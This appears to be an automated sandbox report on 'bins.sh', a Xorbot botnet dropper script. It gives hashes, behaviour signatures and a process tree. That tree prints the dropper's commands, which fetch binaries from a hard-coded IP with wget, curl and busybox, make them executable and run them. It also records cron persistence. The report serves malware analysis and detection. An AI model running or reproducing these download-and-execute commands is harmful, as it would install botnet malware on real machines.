Analysis
- max time kernel
123s - max time network
152s - platform
debian-9_mipsel - resource
debian9-mipsel-20240418-en - resource tags
arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
18/01/2025, 01:02
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240418-en
General
- Target bins.sh
- Size 10KB
- Sample250118-bdsfpsyqaq
- SHA256 e32c15488bbc990e79e9fa835f7838b1669ffef94c3c67a523849ee4974650aa
- MD5 59eff5863882e3a1d901853c69b1a31a
- SHA1 84a70c553069803df35b4f1036531e12c8d3d9a5
- SHA512 997cfa6f9153dd1b339c449bb637c7aed0da90b03a42089894507dcfe0e8073cababef7e80bdab7a6e7b8362b1dac6cc71133279061eac3f73f2be884639cc63
- SSDEEP 96:etAj+/3jr9dpwEMi5QETgNOPgnw9HdHD3Pr9dpwEMRS85QEfgNxWn7:etU63jr9dpwEL5QETzuOj9dpwE4QE/
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
-
resource yara_rule behavioral4/files/fstream-1.dat family_xorbot behavioral4/files/fstream-3.dat family_xorbot behavioral4/files/fstream-5.dat family_xorbot behavioral4/files/fstream-7.dat family_xorbot - Xorbot family
- Contacts a large (1514) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 819 chmod 850 chmod 747 chmod 764 chmod 806 chmod - Executes dropped EXE 5 IoCs
ioc pid Process /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT 748 WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb 765 kTS5THy1roKMaChioUIBOHC1AFAejFOpJb /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE 807 y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq 820 PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH 851 vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH - Renames itself 1 IoCs
pid Process 852 vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH - Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.HznnXY crontab - Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/962/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/361/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/864/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/897/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/932/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/945/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/78/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/677/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/1013/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/875/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/910/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/1000/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/896/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/951/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/968/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/2/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/81/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/989/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/872/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/877/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/982/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/870/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/979/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/11/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/867/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/958/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/978/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/714/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/878/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/926/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/1024/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/889/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/991/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/992/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/16/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/1021/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/175/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/1020/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/857/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/884/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/895/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/955/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/858/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/871/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/892/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/894/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/927/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/20/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/879/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/988/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/1005/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/227/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/694/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/994/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/1017/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/24/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/937/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/890/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/944/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/966/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/983/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH File opened for reading /proc/996/cmdline vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH - System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 769 wget 785 curl 804 busybox 807 y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE 809 rm - Writes file to tmp directory 15 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT busybox File opened for modification /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb wget File opened for modification /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE wget File opened for modification /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE busybox File opened for modification /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq busybox File opened for modification /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH wget File opened for modification /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH curl File opened for modification /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT wget File opened for modification /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT curl File opened for modification /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb busybox File opened for modification /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq wget File opened for modification /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq curl File opened for modification /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH busybox File opened for modification /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb curl File opened for modification /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:716
-
/bin/rm/bin/rm bins.sh2⤵PID:719
-
-
/usr/bin/wgetwget http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT2⤵
- Writes file to tmp directory
PID:721
-
-
/usr/bin/curlcurl -O http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT2⤵
- Writes file to tmp directory
PID:739
-
-
/bin/busybox/bin/busybox wget http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT2⤵
- Writes file to tmp directory
PID:746
-
-
/bin/chmodchmod 777 WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT2⤵
- File and Directory Permissions Modification
PID:747
-
-
/tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT./WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT2⤵
- Executes dropped EXE
PID:748
-
-
/bin/rmrm WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT2⤵PID:750
-
-
/usr/bin/wgetwget http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb2⤵
- Writes file to tmp directory
PID:751
-
-
/usr/bin/curlcurl -O http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:752
-
-
/bin/busybox/bin/busybox wget http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb2⤵
- Writes file to tmp directory
PID:757
-
-
/bin/chmodchmod 777 kTS5THy1roKMaChioUIBOHC1AFAejFOpJb2⤵
- File and Directory Permissions Modification
PID:764
-
-
/tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb./kTS5THy1roKMaChioUIBOHC1AFAejFOpJb2⤵
- Executes dropped EXE
PID:765
-
-
/bin/rmrm kTS5THy1roKMaChioUIBOHC1AFAejFOpJb2⤵PID:767
-
-
/usr/bin/wgetwget http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:769
-
-
/usr/bin/curlcurl -O http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:785
-
-
/bin/busybox/bin/busybox wget http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:804
-
-
/bin/chmodchmod 777 y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE2⤵
- File and Directory Permissions Modification
PID:806
-
-
/tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE./y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:807
-
-
/bin/rmrm y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE2⤵
- System Network Configuration Discovery
PID:809
-
-
/usr/bin/wgetwget http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq2⤵
- Writes file to tmp directory
PID:810
-
-
/usr/bin/curlcurl -O http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq2⤵
- Writes file to tmp directory
PID:811
-
-
/bin/busybox/bin/busybox wget http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq2⤵
- Writes file to tmp directory
PID:812
-
-
/bin/chmodchmod 777 PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq2⤵
- File and Directory Permissions Modification
PID:819
-
-
/tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq./PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq2⤵
- Executes dropped EXE
PID:820
-
-
/bin/rmrm PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq2⤵PID:824
-
-
/usr/bin/wgetwget http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH2⤵
- Writes file to tmp directory
PID:825
-
-
/usr/bin/curlcurl -O http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:836
-
-
/bin/busybox/bin/busybox wget http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH2⤵
- Writes file to tmp directory
PID:848
-
-
/bin/chmodchmod 777 vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH2⤵
- File and Directory Permissions Modification
PID:850
-
-
/tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH./vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:851 -
/bin/shsh -c "crontab -l"3⤵PID:853
-
/usr/bin/crontabcrontab -l4⤵PID:854
-
-
-
/bin/shsh -c "crontab -"3⤵PID:855
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:856
-
-
-
-
/bin/rmrm vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH2⤵PID:858
-
-
/usr/bin/wgetwget http://94.154.35.94/bins/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC2⤵PID:861
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
- Size 141KB
- SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
- MD5 3ca8decdb1e52c423c521bfff02ac200
- SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
- SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
- SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
- Size 107KB
- SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
- MD5 eb9c3a0de91fcf16ba17cb24608df68c
- SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
- SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
- SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
- Size 111KB
- SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
- MD5 701e7a55a4f3650f5feee92a9860e5fc
- SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
- SHA512 7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
- SSDEEP 3072:IF2Z9LeHHHPfbLGR0+XrOcVm/pOQbZJXx35zzp:fZ9LeHHHPfnGRJ7OcVm/pOQbZJXx5zzp
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
- Size 151KB
- SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
- MD5 6c583043d91c55aa470c08c87058e917
- SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
- SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
- SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
- Size 122KB
- SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
- MD5 cd3d4b9c643e5b473fb4d88ed05f0716
- SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
- SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
- SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
- MD5 SHA1 SHA512 SSDEEP
- Path /var/spool/cron/crontabs/tmp.HznnXY
- Size 210B
- SHA256 9c49b59f9487cafa3ae99a4b880a2b1a0a3a5cb52f95947626650b8de748aa6d
- MD5 d3f75e7d80b20b5af98c77c2cd253b4e
- SHA1 31bc3842751efc50afa632f86e6e0948dad65aa7
- SHA512 041967ae7c14a3cb1ebe32097213d2b873e609a2fc61c0b15e6805687f08fb2e8bdc4d9581d642a0962f5b1fe64d676cce38bc00112b283cd06b7c528b811894
- MD5 SHA1 SHA512